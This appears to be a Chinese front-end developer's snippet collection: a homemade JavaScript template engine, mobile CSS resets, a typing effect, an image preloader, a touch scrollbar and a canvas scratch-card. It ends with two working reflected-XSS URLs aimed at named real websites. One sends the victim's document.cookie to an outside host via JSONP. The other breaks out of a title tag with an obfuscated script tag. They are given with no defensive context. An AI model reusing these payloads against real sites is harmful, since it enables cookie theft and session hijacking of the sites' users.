js模板简单版模板引擎

<script type="text/tpl" id="list">
 <ul>
 [for data]
 [if num > 0]
 <li>[=nickname]-[=test]-[fn deal head]</li>
 [else]
 <li>[=nickname]-[=test]</li>
 [/if]
 [/for]
 <ul>
</script>
<script type="text/javascript">
function myTpl(id,data) {
 var str = document.getElementById(id).innerHTML;
 var t={
 'for':function(){
 return '");'+'for(var i=0;i<data.length;i++){'+';p.push("';
 },
 'if':function(s){
 s = s.replace('/ /g',' ').replace('/ /g',' ');
 var sa = s.split(' ');
 return '");'+'if(data[i]["'+sa[1]+'"]'+sa[2]+''+sa[3]+'){'+';p.push("';
 },
 'else':function(){
 return '");}else{;p.push("';
 },
 'fn':function(s){
 s = s.replace('/ /g',' ').replace('/ /g',' ');
 var sa = s.split(' ');
 if(sa[1]) {
 return '"+'+sa[1]+'(data[i]["'+sa[2]+'"])+"';
 } else {
 return '';
 }
 }
 };
 var s = 'var p=[];p.push("'+str.replace(/[\r\n\t]/g,'').replace(/\[.*?\]/g,function(d){
 var ms = d.match(/\[(.*?)\]/);
 ms = ms[1];
 var r='',m;
 if(ms) {
 var pre = d.substr(0,2);
 if(pre=='[/') {
 r = '");};p.push("';
 } else if(pre=='[=') {
 m = d.match(/=(.*?)\]/);
 if(m[1]) {
 r = '"+data[i]["'+m[1]+'"]+"';
 } else {
 r = d;
 }
 } else {
 m = ms.split(' ');
 if(m[0]) {
 r = t[m[0]](ms);
 } else {
 r = d;
 }
 }
 } else {
 r = d;
 }
 return r;
 })+'");return p.join("");';
 var fn = new Function('data',s);
 return fn(data);
}
function deal(d) {
 return d;
}
console.log(myTpl('list',[{'nickname':'ddd','test':'sssddd','head':'ggggggggg','num':1},{'nickname':'ss','test':'eee','head':'ggggggggg','num':0}]));
</script>

鼓捣了几个小时的模板引擎,功能还比较简单,目前只支持for循环,函数执行,条件判断标签。自用。

移动端css reset

rem布局reset

html { -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100%}
ul,li,div,p,body,dl,dt,dd { margin: 0; padding: 0; text-align: left}
input { padding: 0; border-radius: 0}
button,input,select,textarea { font-family: inherit; font-size: 100%; margin: 0; vertical-align: baseline; outline: 0}
button,html input[type=button],input[type=reset],input[type=submit] { -webkit-appearance: button; cursor: pointer}
button[disabled],input[disabled] { cursor: default}
input[type=checkbox],input[type=radio] { box-sizing: border-box; padding: 0}
input[type=search] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box}
input[type=search]::-webkit-search-decoration { -webkit-appearance: none}
button::-moz-focus-inner,input::-moz-focus-inner { border: 0; padding: 0}
input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button { height: auto}
li { list-style: none}
a { text-decoration: none; color: #000}
img { vertical-align: top; width: 100%}
.hide { display: none}
body,html { background: #001424; text-align: left; width: 100%; font-family: "Microsoft YaHei","Helvetica Neue",Arial,HelveticaNeue,Helvetica-Neue,Helvetica,"BBAlpha Sans",sans-serif; font-weight: 400}
* { -webkit-tap-highlight-color: rgba(14,159,111,0); -webkit-touch-callout: none}
.main { margin: 0 auto; overflow: hidden}
@media only screen and (min-width: 1025px) { .main { max-width:7.5rem }
}
html { font-size: 312.5%}
@media screen and (max-width: 359px) and (orientation:portrait) { html { font-size:266.67% }
}
@media screen and (min-width: 360px) and (max-width:374px) and (orientation:portrait) { html { font-size:300% }
}
@media screen and (min-width: 384px) and (max-width:399px) and (orientation:portrait) { html { font-size:320% }
}
@media screen and (min-width: 400px) and (max-width:413px) and (orientation:portrait) { html { font-size:333.33% }
}
@media screen and (min-width: 414px) and (max-width:431px) and (orientation:portrait) { html { font-size:345% }
}
@media screen and (min-width: 432px) and (max-width:479px) and (orientation:portrait) { html { font-size:360% }
}
@media screen and (min-width: 480px) and (max-width:639px) and (orientation:portrait) { html { font-size:400% }
}
@media screen and (min-width: 640px) and (orientation:portrait) { html { font-size:533.33% }
}

缩放布局reset

html{font:28px "Microsoft YaHei","Helvetica Neue", Helvetica, STHeiTi, sans-serif;}
ul,li,div,p,body{margin:0;padding:0;text-align:left;font-size:28px;font-family:"Microsoft YaHei","Helvetica Neue", Helvetica, STHeiTi, sans-serif;}
li{list-style:none;}
a{text-decoration:none;}
.hide{display:none;}
h1{display:none;}
input,button,select,textarea{outline:none;-webkit-appearance:none;appearance:none;}
body, html {background:#08061a;text-align: left;height: 100%;width: 100%;font-weight: normal;overflow:hidden;}
*{-webkit-tap-highlight-color:rgba(0,0,0,0.5);}
#main{position:absolute;width:750px;height:100%;left:0;top:0;overflow:hidden;-webkit-transform-origin:0 0;-webkit-transform: translate3d(0px, 0px, 0px);}

打字效果

var wordCtrl = function(){
	var cbfun=null;
	var obj = {
		now:0,
		maxLen:0,
		speed:80,
		wArr:[],
		show:function(){
			if(this.now>=this.maxLen) {
				if(typeof(cbfun)=='function') {
					cbfun();
				}
				return;
			}
			this.wArr[this.now].css({'visibility':'visible'});
			this.now++;
			if(this.uto) {
				clearTimeout(this.uto);
			}
			this.uto = setTimeout(function(){
				obj.show();
			},this.speed);
		},
		init:function(txtObj,cf){
			cbfun=cf;
			this.now=0;
			this.wArr = [];
			var txt = $(txtObj).html();
			var arr = txt.split('');
			var len  = arr.length;
			if(len==0) {
				return;
			}
			var tmp,tarr,tlen,mlen;
			mlen=0;
			for(var i=0;i<len;i++) {
				tmp = arr[i];
				tarr = tmp.split('');
				tlen = tarr.length;
				for(var j=0;j<tlen;j++) {
					tarr[j] = '<span class="word">'+tarr[j]+'</span>';
					mlen++;
				}
				arr[i] = tarr.join('');
			}
			this.maxLen = mlen;
			$(txtObj).html(arr.join('<br/>'));
			$(txtObj).find('.word').each(function(){
				obj.wArr.push($(this));
			});
		}
	}
	return obj;
}
.word{visibility:hidden;}

 

预加载图片

var plCtrl = {
	loaded:0,
	total:0,
	now:0,
	maxl:5,
	nshow:false,
	cbfun:null,
	isOk:false,
	toLoad:[],
	res:[],
	checkLoadComplete:function(){
		if(this.loaded>=this.total) {
			this.isOk=true;
		}
		var per = parseInt(this.loaded*100/this.total);
		if(per>=100) {
			per=100;
			alertTips.hide();
			this.nshow=false;
			if(typeof(this.cbfun)=='function') {
				this.cbfun();
			}
		} else {
			$('#lper2').html(per+'');
		}
	},
	show:function(cf){
		this.cbfun=cf;
		this.nshow=true;
	},
	loadImage:function(iData,iobj){
		var _this = this;
		var img = iobj;
		if(!img) {
			img = new Image();
		}
		var t=0;
		img.onload = function () {
			_this.loaded++;
			_this.checkLoadComplete();
			_this.doLoad(img);
		};
		img.onerror = function(){
			t++;
			if(t>3) {
				_this.loaded++;
				_this.checkLoadComplete();
				_this.doLoad(img);
			} else {
				img.src = iData+'?r=1';
			}
		}
		img.src = iData;
	},
	doLoad:function(iobj){
		if(this.now>=this.total) {
			return;
		}
		this.loadImage(this.toLoad[this.now],iobj);
		this.now++;
	},
	load:function(list,cf){
		this.res = [];
		this.cbfun=cf;
		this.total = list.length;
		this.loaded = 0;
		this.now = 0;
		var maxp = this.total;
		this.toLoad = list;
		for(var i=0;i<this.maxl;i++) {
			this.loadImage(list[i]);
		}
		this.now=this.maxl;
	}
}

 

滚动条组件

var scrollCtrl = function(list,bar,ch,bh){
	var ctrl = {
		obj:null,
		barobj:null,
		listH:0,
		conH:ch,
		barH:bh,
		delta:{},
		startP:{},
		nowPos:0,
		tmpPos:0,
		oftH:0,
		stime:0,
		mvPos:0,
		handleEvent:function(e){
			switch(e.type) {
				case 'touchstart':
					this.start(e);
					break;
				case 'touchmove':
					this.move(e);
					break;
				case 'touchend':
					this.end(e);
					break;
			}
		},
		start:function(e){
			var touches = e.touches[0];
			this.startP = {
				y: touches.pageY,
				x: touches.pageX,
				time: +new Date
			};
			this.delta = {};
			this.tmpPos = this.nowPos;
			this.stime = +new Date;
			this.mvPos = 0;
		},
		move:function(e){
			if(this.conH>this.listH) {
				return;
			}
			e.preventDefault();
			if (e.touches.length > 1 || e.scale && e.scale !== 1) {
				return;
			}
			var touches = e.touches[0];
			if(!this.startP) {
				this.startP = {
					y: touches.pageY,
					x: touches.pageX,
					time: +new Date
				};
			}
			this.delta = {
				y: touches.pageY - this.startP.y,
				x: touches.pageX - this.startP.x
			}
			var ofy = this.delta.y;
			if(this.conH>this.listH) {
				return;
			}
			var tpos=this.tmpPos + ofy;
			this.mvPos = ofy;
			this.nowPos = tpos;
			this.translate(this.obj.get(0),this.nowPos,0);
			var py = -(this.barH-this.oftH)*this.nowPos/(this.listH-this.conH);
			this.translate(this.barobj.get(0),py,0);
		},
		end:function(){
			if(Math.abs(this.mvPos)>0) {
				if(this.nowPos>0) {
					this.nowPos = 0;
					this.translate(this.obj.get(0),this.nowPos,500);
					var py = -(this.barH-this.oftH)*this.nowPos/(this.listH-this.conH);
					this.translate(this.barobj.get(0),py,500);
				} else if(-this.nowPos>this.listH-this.conH) {
					this.nowPos = -(this.listH-this.conH);
					this.translate(this.obj.get(0),this.nowPos, 500);
					var py = -(this.barH-this.oftH)*this.nowPos/(this.listH-this.conH);
					this.translate(this.barobj.get(0),py,500);
				} else {
					var etime = +new Date;
					var dt = etime-this.stime;
					if(Math.abs(this.mvPos)>20) {
						var spd = this.mvPos*300/dt;
						var tp = this.nowPos+spd;
						if(tp>0) {
							tp=0;
						} else if(-tp>this.listH-this.conH) {
							tp = -this.listH+this.conH;
						}
						this.nowPos = tp;
						this.mvPos = 0;
						this.translate(this.obj.get(0),tp, 600);
						var py = -(this.barH-this.oftH)*this.nowPos/(this.listH-this.conH);
						this.translate(this.barobj.get(0),py,600);
					}
				}
			}
		},
		translate:function(obj, disty,speed) {
			var style = obj && obj.style;
			if (!style) return;
			style.webkitTransitionTimingFunction =
			style.transitionTimingFunction = 'ease-out';
			style.webkitTransitionDuration =
			style.transitionDuration = speed + 'ms';
			style.webkitTransform = 'translate(0px, ' + disty + 'px)' + 'translateZ(0)';
			style.msTransform =
			style.MozTransform =
			style.OTransform = 'translate(0px, ' + disty + 'px)';
		},
		fix:function(){
			this.translate(this.obj.get(0),this.nowPos,0);
		},
		reset:function(){
			this.listH = this.obj.height();
			this.translate(this.obj.get(0),0);
			if(this.conH>this.listH) {
				this.barobj.hide();
			} else {
				var heightVar=this.barH/this.listH;
				var ph =Math.floor(this.barH*Math.pow(heightVar,0.3));
				this.oftH = ph;
				this.barobj.height(ph);
			}
		},
		init:function(){
			this.obj = $(list);
			if(this.obj.get(0)) {
				this.obj.get(0).addEventListener('touchstart', this, false);
				this.obj.get(0).addEventListener('touchmove', this, false);
				this.obj.get(0).addEventListener('touchend', this, false);
			}
			this.barobj = $(bar);
		}
	}
	ctrl.init();
	return ctrl;
}

var rankListCtrl = new scrollCtrl(‘#rankList’,’#rankBar’,380,380);

刮刮卡效果

var ggl = {
	disObj:null,
	hasTopImg:false,
	topImg:null,
	topColor:'#888888',
	ctx:null,
	mousedown:false,
	callBack:null,
	initBack:null,
	handleEvent:function(e){
		switch(e.type) {
			case "mousedown":
			case "touchstart":
				this.mouseDownEvt(e);
				break;
			case "mousemove":
			case "touchmove":
				this.mouseMoveEvt(e);
				break;
			case "mouseup":
			case "touchend":
				this.mouseUpEvt(e);
				break;
		}
	},
	mouseDownEvt:function(e){
		e.preventDefault();
		this.mousedown=true;
	},
	mouseUpEvt:function(e){
		e.preventDefault();
		this.mousedown=false;
		var data=this.ctx.getImageData(0,0,this.width,this.height).data;
		for(var i=0,j=0;i<data.length;i+=4){
			if(data[i] && data[i+1] && data[i+2] && data[i+3]){
				j++;
			}
		}
		if(j<=this.width*this.height*0.7){
			if(this.callBack!=null) {
				this.callBack();
			}
		}
	},
	mouseMoveEvt:function(e){
		e.preventDefault();
		if(this.mousedown) {
			if(e.changedTouches){
				e=e.changedTouches[e.changedTouches.length-1];
			}
			var local = this.getLocalCoords(this.disObj, e);
			var x = local.x;
			var y = local.y;
			with(this.ctx) {
				beginPath();
				arc(x, y, 20, 0, Math.PI * 2);
				fill();
			}
		}
	},
	getLocalCoords:function(elem, ev) {
		var ox = 0, oy = 0;
		var first;
		var pageX, pageY;
		while (elem != null) {
			ox += elem.offsetLeft;
			oy += elem.offsetTop;
			elem = elem.offsetParent;
		}
		if (ev.hasOwnProperty('changedTouches')) {
			first = ev.changedTouches[0];
			pageX = first.pageX;
			pageY = first.pageY;
		} else {
			pageX = ev.pageX;
			pageY = ev.pageY;
		}
		return {'x': pageX - ox, 'y':pageY-oy};
	},
	setTop:function(){
		if(this.hasTopImg) {
			var pat=this.ctx.createPattern(this.topImg,"repeat");
			this.ctx.fillStyle = pat;
		} else {
			this.ctx.fillStyle = this.topColor;
		}
		this.ctx.fillRect(0, 0, this.width, this.height);
	},
	init:function(o, w, h,c,pic,ifun,cbfun){
		this.callBack = cbfun;
		this.initBack = ifun;
		this.width = w||320;
		this.height = h||160;
		var _this = this;
		if(pic) {
			this.hasTopImg = true;
			this.topImg = new Image();
			this.topImg.addEventListener('load', function(e) {
				_this.toInit(o);
			});
			this.topImg.src = pic;
		} else {
			this.topColor = c||this.topColor;
			this.hasTopImg = false;
			this.toInit(o);
		}
	},
	toInit:function(o) {
		this.disObj = document.createElement('canvas');
		this.disObj.style.backgroundColor='transparent';
		this.disObj.style.position = 'absolute';
		this.disObj.id = 'showRes';
		this.disObj.width = this.width;
		this.disObj.height = this.height;
		this.ctx=this.disObj.getContext('2d');
		this.ctx.fillStyle='transparent';
		this.ctx.fillRect(0, 0, this.width, this.height);
		this.setTop(this.ctx);
		this.ctx.globalCompositeOperation = 'destination-out';
		o.appendChild(this.disObj);
		this.disObj.addEventListener('mousedown', this, false);
		this.disObj.addEventListener('mousemove', this, false);
		this.disObj.addEventListener('mouseup', this, false);
		this.disObj.addEventListener('touchmove', this, false);
		this.disObj.addEventListener('touchend', this, false);
		this.disObj.addEventListener('touchstart', this, false);
		if(this.initBack!=null) {
			this.initBack();
		}
	}
}
ggl.init($('#gglCon').get(0), 300, 180, '', 'images/ggl.jpg',function(){
	
}, function(){
	gglDone();
});
function gglDone() {
	
}

 

一些xss

http://tu.17173.com/?gamecode=3009625&expand=%27;(function(){$.ajax({url:%22http://www.baidu.com%22,data:{%22c%22:document.cookie},dataType:%22jsonp%22})})();//

 

http://tao.gome.com.cn/search?question=%3C/title%3E%3C=\=SCRIPT=%3E(function(){setTimeout(function(){jQuery.ajax({url:%22http://www.baidu.com%22,dataType:%27jsonp%27})},1000)})()%3C=/\SCRIPT=%3E